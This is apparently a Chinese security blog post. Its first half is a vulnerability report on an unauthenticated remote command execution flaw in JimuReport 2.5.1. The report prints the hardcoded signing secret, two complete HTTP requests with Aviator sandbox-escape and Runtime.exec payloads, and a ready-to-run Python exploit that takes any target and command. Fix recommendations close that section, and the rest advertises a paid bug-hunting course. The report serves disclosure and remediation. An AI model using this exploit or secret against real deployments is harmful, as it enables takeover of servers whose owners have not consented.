CVSS v3.1 向量
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVSS v4.0 分数
9.3
CVSS v4.0 向量
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
危害等级
严重（Critical）
对应目标库等级
CNVD 高危 / CNNVD 高危
+ +评分依据：无需认证（PR:N）、网络可达（AV:N）、无需用户交互（UI:N）、攻击复杂度低（AC:L）、可直接远程执行任意命令（C/I/A 全 High）。 +## 7. CVSS 向量（CVSS Vector） +``` +CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H +CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N + +``` +## 8. 漏洞复现过程（Reproduction Steps） +### 8.1 复现环境 +- 产品/版本：JimuReport v2.5.1（jimureport-example +，依赖 jimureport-spring-boot4-starter:2.5.1 +） + +- 系统/运行时：Windows 11 / JDK 21 / Spring Boot 4.1.0 / MySQL 8.0.12 / Redis 5.0.14 + +- 网络位置：本地自建靶标 http://127.0.0.1:8090 + +- 测试账号：无（未登录，未携带任何 Token） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QVwCia5dv649skzRqxqyHZ4lJCNIBPVbY7PepOy3Ty86Lgn7jg0yAPnyO4SOCibDK72XfIQjtiaUxaYsBUozy28fSmrBhhWrPy8fM/640?wx_fmt=png&from=appmsg "") + + +``` +默认账号密码：admin / 123456，[支持改密码](https://help.jimureport.com/qa?_highlight=%E5%AF%86%E7%A0%81#4-jimureport-example%E9%A1%B9%E7%9B%AE%E6%80%8E%E4%B9%88%E4%BF%AE%E6%94%B9%E9%BB%98%E8%AE%A4%E5%AF%86%E7%A0%81) + +``` + + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QV4FTmYXtM1swBCbzMG7cMtxEWCHyCpRyMe6sUcunApibQic9Se6mlAB23d77c3t4xzKyviaSTia9W4scic4jwjnuyVicuTzxG07njQE/640?wx_fmt=png&from=appmsg "") + +### 8.2 复现步骤 + +**步骤 1 — 环境准备** + +切换到 v2.5.1 版本源码并启动项目： +``` +git checkout -b v2.5.1 414017d   # v2.5.1 版本发布提交 +# 导入数据库：db/jimureport.mysql5.7.create.sql -> 库名 jimureport +# 修改 application-dev.yml: 端口 8090、MySQL 密码、开启 automate.export.enable-auto-export=true +mvn -DskipTests package +java -jar jimureport-example-2.5.jar + +``` + +启动日志：Started JimuReportApplication in 13.085 seconds +，Tomcat started on port 8090 +，HikariPool 成功连接 MySQL。 + +证据：应用启动成功、MySQL 数据源连通；未登录状态直接访问接口可返回导出结果。 + +**步骤 2 — 构造恶意请求（STEP1 沙箱逃逸）** + +利用硬编码密钥 6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121 + 伪造签名 X-Sign = MD5(body + secret).upper() +： +``` +POST /jmreport/auto/export/python/plugin HTTP/1.1 +Host: 127.0.0.1:8090 +Content-Type: application/json +X-Timestamp: 1788705518570 +X-Sign: 4AECF57779F94731EF7A0ADA7520EDF8 +User-Agent: poc/1.0 + +{"reportParams":[{"id":"891612623430320128","params":{"p":"=for x in __instance__.features { seq.put(__instance__.funcMap, '_sm', x.declaringClass.enumConstants[16]); seq.put(__instance__.funcMap, '_fn', x.declaringClass.enumConstants[8]) }; seq.add(__instance__.features, seq.get(__instance__.funcMap, '_sm')); seq.add(__instance__.features, seq.get(__instance__.funcMap, '_fn')); seq.put(__env__, 'c', __instance__.Class); seq.put(__env__, 'CC', c.Class); seq.put(__env__, 'FM', CC.forName('com.googlecode.aviator.runtime.JavaMethodReflectionFunctionMissing')); seq.put(__env__, 'RF', CC.forName('com.googlecode.aviator.utils.Reflector')); RF.setProperty(__env__, '__instance__.functionMissing', FM.getInstance()) * 1*4831927"},"exportType":"PDF"}],"exportType":"PDF"} + +``` + +**步骤 3 — 触发漏洞 / 观察结果（STEP2 命令执行）** +``` +POST /jmreport/auto/export/python/plugin HTTP/1.1 +Host: 127.0.0.1:8090 +Content-Type: application/json +X-Timestamp: 1788705524387 +X-Sign: 0C46248431632CA04F0098C6B9DD11E2 +User-Agent: poc/1.0 + +{"reportParams":[{"id":"891612623430320128","params":{"p":"=seq.put(__env__, 'c', __instance__.Class); seq.put(__env__, 'CC', c.Class); seq.put(__env__, 'RT', CC.forName('java.lang.Runtime')); seq.put(__env__, 'r', RT.getRuntime()); exec(seq.get(__env__, 'r'), 'cmd.exe /c echo JimuReport_PWNED > F:/data/github/JimuReport/vuln-reproduction/pwned.txt') * 1*4831927"},"exportType":"PDF"}],"exportType":"PDF"} + +``` + +两次请求均返回 HTTP 200 +，Content-Type: application/octet-stream;charset=UTF-8 +，响应体以 PK\x03\x04 +（ZIP）开头，说明伪造签名被接受、接口未鉴权、导出流程（含 eval）被执行。 + +**步骤 4 — 影响验证** +``` +$ cat F:/data/github/JimuReport/vuln-reproduction/pwned.txt +JimuReport_PWNED + +``` + +命令 cmd.exe /c echo JimuReport_PWNED > ... + 已在服务器上真实执行并落盘，证明完整的未授权远程命令执行成立。 + +证据： +- HTTP 200 + application/octet-stream + + PK + 魔数（两次请求响应） + +- pwned.txt + 文件生成，内容 JimuReport_PWNED + +- 应用日志 JimuReportTokenServiceImpl + 记录 RequestPath=/jmreport/auto/export/python/plugin +，Token=null +（未登录即处理） + +## 9. 漏洞复现 POC（Proof of Concept） +### 9.1 使用说明 +- 运行环境：Python 3（独立脚本 reproduce_rce.py +）、pocsuite3 插件、Nuclei 模板 + +- 依赖：标准库 urllib +（无需第三方库）；pocsuite3 插件需 pocsuite3 + +- 安全声明：本 POC 仅用于授权测试与漏洞验证，禁止用于未授权系统；默认命令为非破坏性的文件写入/whoami +，不包含反弹 shell、勒索、持久化或横向移动逻辑。 + +### 9.2 POC 代码（核心片段） +``` +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""JimuReport 2.5.1  pre-auth RCE 复现脚本（本机验证版）========================================================================漏洞链: POST /jmreport/auto/export/python/plugin  (@JimuSignature + @JimuNoLoginRequired)        -> JimuReportAutoService.autoExport -> autoAsyncTasks(同步) -> exportMore        -> getBaseSql -> ExpressUtil.a(queryParam 值) -> Aviator eval -> 沙箱逃逸 -> Runtime.exec签名: X-Sign = MD5(原始请求体 + PRINT_PLUGIN_SIGN_SECRET).upper()      内置硬编码密钥 PRINT_PLUGIN_SIGN_SECRET = 6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121用法:  python reproduce_rce.py ""  例(写文件验证): python reproduce_rce.py http://127.0.0.1:8090 "cmd.exe /c echo PWNED > F:/data/github/JimuReport/vuln-reproduction/pwned.txt"  例(弹计算器):   python reproduce_rce.py http://127.0.0.1:8090 "cmd.exe /c calc.exe"""" +import hashlib +import json +import sys +import time +import random +import urllib.request +import urllib.error + +SECRET = "6fea20a1940df21797d89f09c9111d56c1fe1fcfbe41a121" +ENDPOINT = "/jmreport/auto/export/python/plugin" +DEFAULT_REPORT_ID = "891612623430320128" + + +def build_step1_body(report_id: str) -> str: +    """STEP1 沙箱逃逸(持久化): 把 Aviator 引擎的 functionMissing 替换为    JavaMethodReflectionFunctionMissing, 并重新启用反射相关 Feature。""" +    expr = ( +        "=for x in __instance__.features { " +        "seq.put(__instance__.funcMap, '_sm', x.declaringClass.enumConstants[16]); " +        "seq.put(__instance__.funcMap, '_fn', x.declaringClass.enumConstants[8]) }; " +        "seq.add(__instance__.features, seq.get(__instance__.funcMap, '_sm')); " +        "seq.add(__instance__.features, seq.get(__instance__.funcMap, '_fn')); " +        "seq.put(__env__, 'c', __instance__.Class); " +        "seq.put(__env__, 'CC', c.Class); " +        "seq.put(__env__, 'FM', CC.forName('com.googlecode.aviator.runtime.JavaMethodReflectionFunctionMissing')); " +        "seq.put(__env__, 'RF', CC.forName('com.googlecode.aviator.utils.Reflector')); " +        "RF.setProperty(__env__, '__instance__.functionMissing', FM.getInstance()) * 1*%d" +    ) % (int(time.time() * 1000) % 1000000,) +    return json.dumps( +        {"reportParams": [{"id": report_id, "params": {"p": expr}, "exportType": "PDF"}], +         "exportType": "PDF"}, +        separators=(",", ":"), ensure_ascii=False) + + +def build_step2_body(cmd: str, report_id: str) -> str: +    """STEP2 命令执行: exec(r, cmd) -> Runtime.exec(String)。""" +    safe_cmd = cmd.replace("\\", "\\\\").replace("'", "\\'") +    expr = ( +        "=seq.put(__env__, 'c', __instance__.Class); " +        "seq.put(__env__, 'CC', c.Class); " +        "seq.put(__env__, 'RT', CC.forName('java.lang.Runtime')); " +        "seq.put(__env__, 'r', RT.getRuntime()); " +        "exec(seq.get(__env__, 'r'), '%s') * 1*%d" +    ) % (safe_cmd, random.getrandbits(24)) +    return json.dumps( +        {"reportParams": [{"id": report_id, "params": {"p": expr}, "exportType": "PDF"}], +         "exportType": "PDF"}, +        separators=(",", ":"), ensure_ascii=False) + + +def send(target: str, body: str, tag: str) -> None: +    ts = str(int(time.time() * 1000)) +    sign = hashlib.md5((body + SECRET).encode()).hexdigest().upper() +    req = urllib.request.Request( +        target + ENDPOINT, +        data=body.encode("utf-8"), +        headers={ +            "Content-Type": "application/json", +            "X-Timestamp": ts, +            "X-Sign": sign, +            "User-Agent": "poc/1.0", +        }, +        method="POST", +    ) +    opener = urllib.request.build_opener(urllib.request.ProxyHandler({})) +    print("=" * 72) +    print("[%s] POST %s%s" % (tag, target, ENDPOINT)) +    print("X-Timestamp: %s" % ts) +    print("X-Sign    : %s" % sign) +    print("Body(%d): %s%s" % (len(body), body[:140], "..." if len(body) > 140 else "")) +    try: +        with opener.open(req, timeout=40) as resp: +            data = resp.read() +            ctype = resp.headers.get("Content-Type", "") +            print("HTTP %s | %s | %d bytes" % (resp.status, ctype, len(data))) +            if "json" in ctype or "text" in ctype: +                print("Resp: %s" % data.decode("utf-8", errors="replace")[:400]) +            else: +                print("Resp: (binary %d bytes, magic=%s)" % (len(data), data[:4].hex())) +    except urllib.error.HTTPError as e: +        data = e.read().decode("utf-8", errors="replace") +        print("HTTP %s" % e.code) +        print("Resp: %s" % data[:400]) +    except Exception as e: +        print("ERR : %s" % e) + + +def main(): +    args = sys.argv[1:] +    if not args: +        print(__doc__) +        sys.exit(1) +    target = args[0].rstrip("/") +    cmd = args[1] if len(args) > 1 else "cmd.exe /c calc.exe" +    report_id = DEFAULT_REPORT_ID + +    print("Target : %s" % target) +    print("Command: %s" % cmd) +    print("ReportID: %s" % report_id) +    print() + +    print("[*] STEP 1: 沙箱逃逸 (持久化在 JVM 内, 幂等)") +    send(target, build_step1_body(report_id), "STEP1") +    print() +    time.sleep(1) + +    print("[*] STEP 2: 命令执行 Runtime.exec(String)") +    send(target, build_step2_body(cmd, report_id), "STEP2") +    print() +    print("[*] done. HTTP 200/500 均可能, 以命令副作用为准(写盘文件/弹窗/带外)。") + + +if __name__ == "__main__": +    main() + +``` + +完整可运行脚本见 poc/reproduce_rce.py +（独立版） + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QWVMD18cZ3YtEtegPgzJrh0yvny0EKBbkpHXh1Uzkqr3g5eOPTib7G0xw9m5zzXMuhAlib6jjsCSa0Yn4aPbfIXZMs6n6ZdwDx60/640?wx_fmt=png&from=appmsg "") + +## 10. 修复建议（Fix Recommendations） +### 10.1 临时缓解措施 +- 在 WAF/网关层对 /jmreport/auto/export/** + 实施访问控制（IP 白名单 / 仅内网可达）。 + +- 若业务不使用“打印插件导出”，临时下线或屏蔽 /jmreport/auto/export/python/plugin + 与 /jmreport/auto/export/plugin + 接口。 + +- 关闭 jeecg.jmreport.automate.export.enable-auto-export +，阻止自动导出链路。 + +### 10.2 根治修复方案 +1. **去除硬编码密钥** +：JimuReportSignatureInterceptor + 中 /auto/export/python/plugin + 分支不得使用硬编码的 PRINT_PLUGIN_SIGN_SECRET +，应统一改为读取服务端配置 jeecg.jmreport.signatureSecret +，并强制要求部署方替换默认值、在启动时校验密钥非空非默认。 + +1. **补强鉴权** +：移除该接口的 @JimuNoLoginRequired +，或在 @JimuSignature + 之外叠加真实会话鉴权；签名只能作为防重放的辅助手段，不能作为唯一访问控制。 + +1. **收敛表达式执行面（根因）** +：getBaseSql + 中不要对用户可控的 queryParam 值调用 ExpressUtil.a + 做动态求值；若确需计算，应： + +- 仅允许白名单函数与常量字面量，禁止 __instance__ +/__env__ +/seq +/反射/Class.forName + 等逃逸原语； + +- 用独立的、更严格的 Aviator 实例（关闭 seq + 与 InternalVars + 等），或在执行前对表达式做 AST 级黑白名单校验； + +- 更彻底地，将参数求值放到服务端可信上下文中，杜绝“用户输入即代码”。 + +1. **升级 Aviator 并关注其安全公告** +：关注 com.googlecode.aviator + 沙箱逃逸相关修复，及时升级依赖。 + +### 10.3 修复验证 + +重放原始 POC：伪造签名的请求应被拒绝（返回签名校验失败），且即使签名正确，含 __instance__ +/Class.forName +/Runtime + 等逃逸原语的表达式应被表达式引擎拒绝执行，命令不再产生副作用。 + +02 + +0x2 培训课程介绍 + +26 + +**SRC漏洞挖掘培训课程** + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/6cIuvSQkkicOHhYFkQLTibYAMUR9rfZ9eUrI78toIC4V2304G909O6s6CnVrAGiaYLEJM9XuUARhzNfxCtYKQfQ83wfPSlqpshSScfoYzSKzgY/640?wx_fmt=png&from=appmsg&wxfrom=5&wx_lazy=1&watermark=1&tp=wxpic#imgIndex=4 "") + + +**1.课程价格目前是575（后面也会随着人数越多，涨价）🌟师傅们还可以上车补票，冲冲冲！** + +**2.报名成功送知识星球一个，拉内部小圈子交流群+SRC直播通知群！✨** + +**3.一周2节课程，直播+录播形式，课程内容大家可以看课表，目前是第一期，一次报名永久无限听课！❤️** + +**4.目前是第一期课程，后面比如说开了二、三期，都是不用在花钱的！** + +**5.上课结束后，会把视频录播+课件笔记一起打包发直播群！** + +**6.哔哩哔哩SRC课程公开课，链接🔗直达：** + +**https://space.bilibili.com/642258933** + +SRC课程详情🔎： +[学了一堆理论，还是挖不到漏洞？你缺的是实战！](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247509869&idx=1&sn=4bd678e9f9c864300cc2426432a8c967&scene=21#wechat_redirect) + + +内部小圈子知识星球详情🔎：[50 元封顶！渗透攻防 + SRC 漏洞星球限时开放！](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247509408&idx=1&sn=2e12452dfc2d34631af5109af28a6758&scene=21#wechat_redirect) + + +欢迎关注公众号： +神农Sec +，报名咨询添加VX： +routing_love + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/mcko8AHj6QVcCkxIUpaBmNic17zibGfXMWrr9z89gE0DFtbOu3QYzD5d62zsp6qwc38Pssk60mLq8VKthcMOmctVlHU716S5G4KYmrKVrEj5c/640?wx_fmt=other&from=appmsg&watermark=1&wxfrom=5&wx_lazy=1&tp=webp#imgIndex=6 "") + +开课快五个月时间 +，课程目前已经 +累计加入了1000+个学员 +了，课程培训招生任火热持续中，师傅们 +对于我们课程感兴趣的，想要学习技术，找工作的可以咨询我报名 +。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QVmdLBDlbl5p4Teyw5qqFOIFTIUxIxRay83I5qDXG690XI61gRj8MXTvTaibC4q2cCb1CbM4XS2FK6X4KYhPTX2ibgvA363YYwcE/640?wx_fmt=png&from=appmsg "") + +课程培训记录📝，每次上车在1-3小时之间，上课包括课程内部群大家 +交流氛围很好！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_jpg/mcko8AHj6QV7iczVHowN13BzCTraG8jDUoe5hluiaZ90RUy7FjW398DictcrZhHrYpMgw4polRqvlGua6iakYdARPI3Jkiahhjvrvkviblm19U4F0/640?wx_fmt=other&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=4 "") + +课程上课笔记课件📒都会打包给师傅们，笔记都非常详细，很多几k价格的培训机构哪怕是课件笔记都没有的，我这里都是下课第一时间把 +录播+笔记打包发给大家！ + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QWbRV4mBn8GZHrvHocPMYYcBuAM3gyIKOM0SicBWQhywMehkXInvEerRLySOPPMzEmM2GLSlOMFREx6QItqtCgCibGs2MeY6yvu0/640?wx_fmt=png&from=appmsg "") + +平常也都会给学员进行一些项目发布，包括后面的 +工作、护网内推等，经常上麦交流，大家互相学习，简历优化等。 + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QXvjjkgJibDEUhdDjErjibiangGsN0rqb0Av59xfyxBbDrTMNdfIAhNXlx0HQKvxIVBIEGAAbYrEENzd77j65asejlD4a50Sb4U7o/640?wx_fmt=other&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=20 "") + +SRC漏洞挖掘课程培训已经两个星期了，期间也是创建了 +“回本小群”，希望学员回本越来越多，创建这个群主要是鼓励学员学习进步，以及不定时发小项目！ + +最后也是希望大家都可以赚钱，找到好工作🎉 + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QXub8yvlURuxKpiclvOJ83GJ6Is7StibGAxD7DHtMHD7yT6BGRxxETEza4qJejZkRVxdYUIicoFWdaPVWXReicG6N2ne806ajRd8Ls/640?wx_fmt=png&from=appmsg "") + +培训时间不长，感谢🙏师傅们的 +喜报 +，很开心看到师傅们给我分享自己的成果， +希望师傅们越来越强！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QUMAtEWv3xXZPDsGBRhESmwGRciaasCGibU8TtbP2U0YVZPBdf5tlLqpWAtQKBh5oFwgETyvicKBeW1JSsekAyJ5cbRlSdjooQkSM/640?wx_fmt=other&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=22 "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QUrS4N68nZ0EyE76Wkib7ZDrpnZWw2Q1RJQvFEdIOu5XvFGCwpz9lziabKyo9C9d5ZiamibuSXlibhXLHb7b8QJhqEIs3hXvqktkkyA/640?wx_fmt=png&from=appmsg "") + + +平常也会分享项目，下面是一些 +学员项目成果 +，群里报课的学员都是不抽成的，主要是帮助学员进行 +回本 +， +让大家都可以进步！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QWS8lR4pmzZrczwr6YjtG48EqF9q4FlAUH78M7DXkiboqF8Q1HkeWJLzpFPOQBToO3auj8r4rU9x3fuafXUDVMEcFj5EI6U3P9w/640?wx_fmt=other&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=23 "") + +上课结束后，会把 +视频录播+课件笔记 +一起打包发直播群 + +**「神农安全」** +知识星球目前已经 +累计2500+网络安全爱好者的加入！ + +后面也是小圈子做大起来了，师傅们也都喜欢看我文章，想着给大家教下src漏洞挖掘思路，所以自己花了很长时间做了✨ +课件和课表，都是纯自己手搓的，大家也可以看下课表的内容。 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWXNmpV89Zxcm1J56eeHltthM2sjuWQFbmvWv79V058KwI0DswFF9LysewGtULj81Vp5bX9nTEK78A/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QVhliaOc71FnQLZjEUB2QiavqaRdiaaAN25Gb1HNADIy0cYvIIHC46za7Ab6sibRKvKG2tbJBxqrOGyczqWF44LQOKllnZXE6PU5iaE/640?wx_fmt=png&from=appmsg "") + +03 + +0x3 课程特色 + +课程 +主打真实， +一线SRC漏洞挖掘师傅是如何学习和挖掘SRC漏洞的，让你真正了解SRC漏洞挖掘，助力在岗人员和大学生的能力提升，掌握新的技能树，为下一次 +跳槽涨薪做好准备。本 +课程内容覆盖企业 +SRC、众测项目挖掘、护网HVV红蓝攻防技巧、CVE、CNVD、EDUSRC等平台通杀案例技巧挖掘方法。 + +本课程 +适合人群 +（光看不挖啥也不会） +``` +1、有计算机经验，想从0转行入行的大学生或自学者 +2、想从CTF比赛/Web或SRC进阶到项目实战的选手 +3、想参与项目/找工作/提高收入的转型者 +4、想通过挖SRC赏金做副业的师傅们 +5、挖SRC漏洞遇到瓶颈的师傅们 +6、想学习AI安全自动化渗透测试漏洞挖掘的师傅 +``` + +课程价格：575 元 + +报课成功的师傅们直接免费送内部小圈：一个知识星球+内部小圈子交流群 +``` +1、课程价格真心实惠，绝不割韭菜 +2、四五百的课程价格让你体会大几千的培训课程内容 +3、带着大家从0到1，本人上课坚持手搓课件（实战案例+知识体系） +4、拒绝使用PPT演讲模式（无实操，很枯燥） +``` + +直播培训教学方式 + +课程 +一周1-2节课，课程特色涵盖直播多人上麦活跃回答，直播过程中有问题随时解决或私信我。 +拉群：一个知识星球内部小圈子交流群+课程培训直播通知群。有项目/工作/护网第一时间内推报课的师傅， +一对一简历优化，助力在岗人员和大学生的能力提升。 + +一次报名每期均可永久学习，并且赠送内部「神农安全」知识星球，一对一永久解答、无保留教学！ + +欢迎关注公众号： +神农Sec +，报名咨询添加VX： +routing_love + +课程均为线上交付，报名成功后 +不支持退款 + +内部小圈子 +（知识星球+内部小圈子交流群+知识库） + +对内部小圈子感兴趣的师傅们也可以看下下面的这个 +跳转链接，里面有对小圈子的详细介绍，报名课程成功的师傅们直接免费送一个（直接点击下面直接可以跳转）。 + +[强烈推荐一个永久的SRC挖掘、渗透攻防内部知](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247508882&idx=1&sn=0ca5ab133a5b589e26e25de14882b28f&scene=21#wechat_redirect) + +[‍](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247508882&idx=1&sn=0ca5ab133a5b589e26e25de14882b28f&scene=21#wechat_redirect) + +[识库](https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247508882&idx=1&sn=0ca5ab133a5b589e26e25de14882b28f&scene=21#wechat_redirect) + + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QVRzhiawbmNicgOFicLKeMZPtpyqtP9M0IA7gJZPerY1pI0P1Owcs0ttibWiaw87asg3qibyVF9NEVeGuxL3YqASaQhUn3pUBjicpMTPM/640?wx_fmt=png&from=appmsg "") + +讲师介绍 + +id：一个想当文人的黑客 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QX6UX8mhQtia4qnfEiasbq2R3KjlwQg2ysg4ibj744R4DF0BXZQZBjHc3qNgPKkqG7msub5w6WjSmoElCibibTp6qImS3FkupITqJUk/640?wx_fmt=png&from=appmsg "") + +欢迎关注公众号：神农Sec，报名咨询添加VX： +routing_love + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWXLicr9MthUBGib1nvDibDT4r6iaK4cQvn56iako5nUwJ9MGiaXFdhNMurGdFLqbD9Rs3QxGrHTAsWKmc1w/640?wx_fmt=jpeg&from=appmsg "") + +04 + +0x4 第一期挖洞培训课表内容 + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QXdFkU8hwaxia8XQ7EyshqMb1BUOknbNI4lhtliaE0iakNZ0PRmjBUocUGbGDmEaGwuZDDP4sXkOrjicxI1exTafD6wdNUTj66wCWw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap086iau0Y0jfCXicYKq3CCX9qSib3Xlb2CWzYLOn4icaWruKmYMvqSgk1I0Aw/640?wx_fmt=gif&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + +**内部圈子介绍（报课赠送）** + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0F0PmZricIVE4aZnhtO9Ap08Z60FsVfKEBeQVmcSg1YS1uop1o9V1uibicy1tXCD6tMvzTjeGt34qr3g/640?wx_fmt=other&tp=webp&wxfrom=5&wx_lazy=1&wx_co=1 "") + + + + +**圈子专注于更新src/红蓝攻防相关：** + +``` +1、维护更新src专项漏洞知识库，包含原理、挖掘技巧、实战案例 +2、知识星球专属微信“小圈子交流群” +3、微信小群一起挖洞 +4、内部团队专属EDUSRC证书站漏洞报告 +5、分享src优质视频课程（企业src/EDUSRC/红蓝队攻防） +6、分享src挖掘技巧tips +7、不定期有众测、渗透测试项目（一起挣钱） +8、不定期有工作招聘内推（工作/护网内推） +9、送全国职业技能大赛环境+WP解析（比赛拿奖） +10、十个专栏会持续更新~提前续费有优惠，好用不贵很实惠 +11、每日内部资料分享，内部圈子资料1000+ +12、联系圈主获取：内部漏洞知识库+圈子使用手册+内部圈子交流群 +13、VX：routing_love，技术交流+疑问解决 +``` + + +**内部圈子** +**专栏介绍** + +知识星球内部共享资料截屏详情如下 + +（只要没有特殊情况，每天都保持更新） + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWWYcoLuuFqXztiaw8CzfxpMibgpeLSDuggy2U7TJWF3h7Af8JibBG0jA5fIyaYNUa2ODeG1r5DoOibAXA/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/b7iaH1LtiaKWUw2r3biacicUOicXUZHWj2FgFxYMxoc1ViciafayxiaK0Z26g1kfbVDybCO8R88lqYQvOiaFgQ8fjOJEjxA/640?wx_fmt=png&from=appmsg "") + + +05 + +0x5  +优秀学员报喜 + +下面是最近两个月培训期间，很多 +优秀学员进行报喜，看到师傅们有收获，也是感到很开心的！ +拉回本小群，就是为了促进大家学习，在群里发学员成果，也是为了让大家学习优秀的师傅们。 + +加油，你我皆是黑马！ + +![图片](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QWS8lR4pmzZrczwr6YjtG48EqF9q4FlAUH78M7DXkiboqF8Q1HkeWJLzpFPOQBToO3auj8r4rU9x3fuafXUDVMEcFj5EI6U3P9w/640?wx_fmt=other&from=appmsg&watermark=1&tp=webp&wxfrom=5&wx_lazy=1#imgIndex=23 "") + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QWkBFHe0S1MayHGboNyYGhNR94Fic11frXxdUGBgjjIx6dnJ6lgWxw7iajkmFTiczQq5DHN1bwUchcVzatv95E5gibAMUiaZ7fHlypw/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QU6ibZutPq43zUiap7IgDmJq7kwUKJBCa2IDujYiadMJfe9fFH9DOfUEOM2TibibYRuFiahDqMnBX1MVjLw5XIdNDSuR5P3g7XibaUkBo/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QVz2wFpVfer0uAFVpLKyicMaaLkmJDdg5bWnOotuzN3S9r2FMKpEKrJy8ND7icWVzNgqyYS2J6XElVN43vGca4X6HcEqapwGcNX0/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QWoKYrxQzob221aCmicmemD3aVPbk5dvVIaEic4TNPXrnkRazOTHnIbq87Jbk0GREdlI4iaZUmVU3c6K6rBbyZzBnkicooOUVtzN1I/640?wx_fmt=png&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QWdSycCicsfpn14HlUgEibU04lpXJ4a70L4D6oSWx5s0tLgnLnLiaRAdclxNVicYKFRD1mGn40jQ4t4ic8XZzVoOSTTCzY9xz9auzJI/640?from=appmsg&wxfrom=12&wx_fmt=other&tp=webp&usePicPrefetch=1&watermark=1 "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QVRqR4bI22pibTSVQVSibImicNHOCUGQAaUlo9lZsNJicLmcTaQKl662ulqoX54EmbCDKUD3ibibdZxqKaOJAcoyIV7cAn7tKqia8S470/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QXB1O6Fx3ia62NNWITh9vUQaEKp7epibLWeEsdobibvBvqNDoTCAvfyQFHw597O24naJAIpM4QALgfqMWWc4E1KHrxBoaGRxE4Ajc/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QXnjwIRWjJOVSuN4X4HjmEFtCVqCHZ05M77sXqzmVjibaJbLUw3ApOuz7iaH8OCCnRmTRYVtKC5NajGKVkI4pnKZsJaj0T4iaYibq0/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QWRdtEUY2aeAZh34wDle515j7UwnibFQeCibWSeDKGnIZ2YH5VGX64cYeXgPGdCwHLKdsMY07EIVliapxh10gzQ2EO3bks7bxhmVs/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QW7rozFqSBVNRDE2kbfUSB4FefOPm9LXM2B9bV4n9VPM7Kt11rfw284Ejn4AHUc1Uc1r1gZs3FF6umgPk1QejcC6zrOAYEyegY/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/sz_mmbiz_png/mcko8AHj6QV0epFsicbJrNPgGwNXcXRCDrC1sGQySI2ylkfs2Hdic6d6unjwqNiby5DfhtfT6ezabX13bNeR53pOW3BUqLaZrIvPM8Z4IsBpgI/640?wx_fmt=png&from=appmsg "") + +![](https://mmbiz.qpic.cn/mmbiz_png/mcko8AHj6QXwfrgic5XLseOxkPOWkjm1yicAW2ZiaAqzxtbjPok4Yhic2Wiblic93SSGN5BtT77AFuZt6ySuRL09icqIicPuOUUbL5NbWgMCHgLictiak/640?wx_fmt=png&from=appmsg "") + + 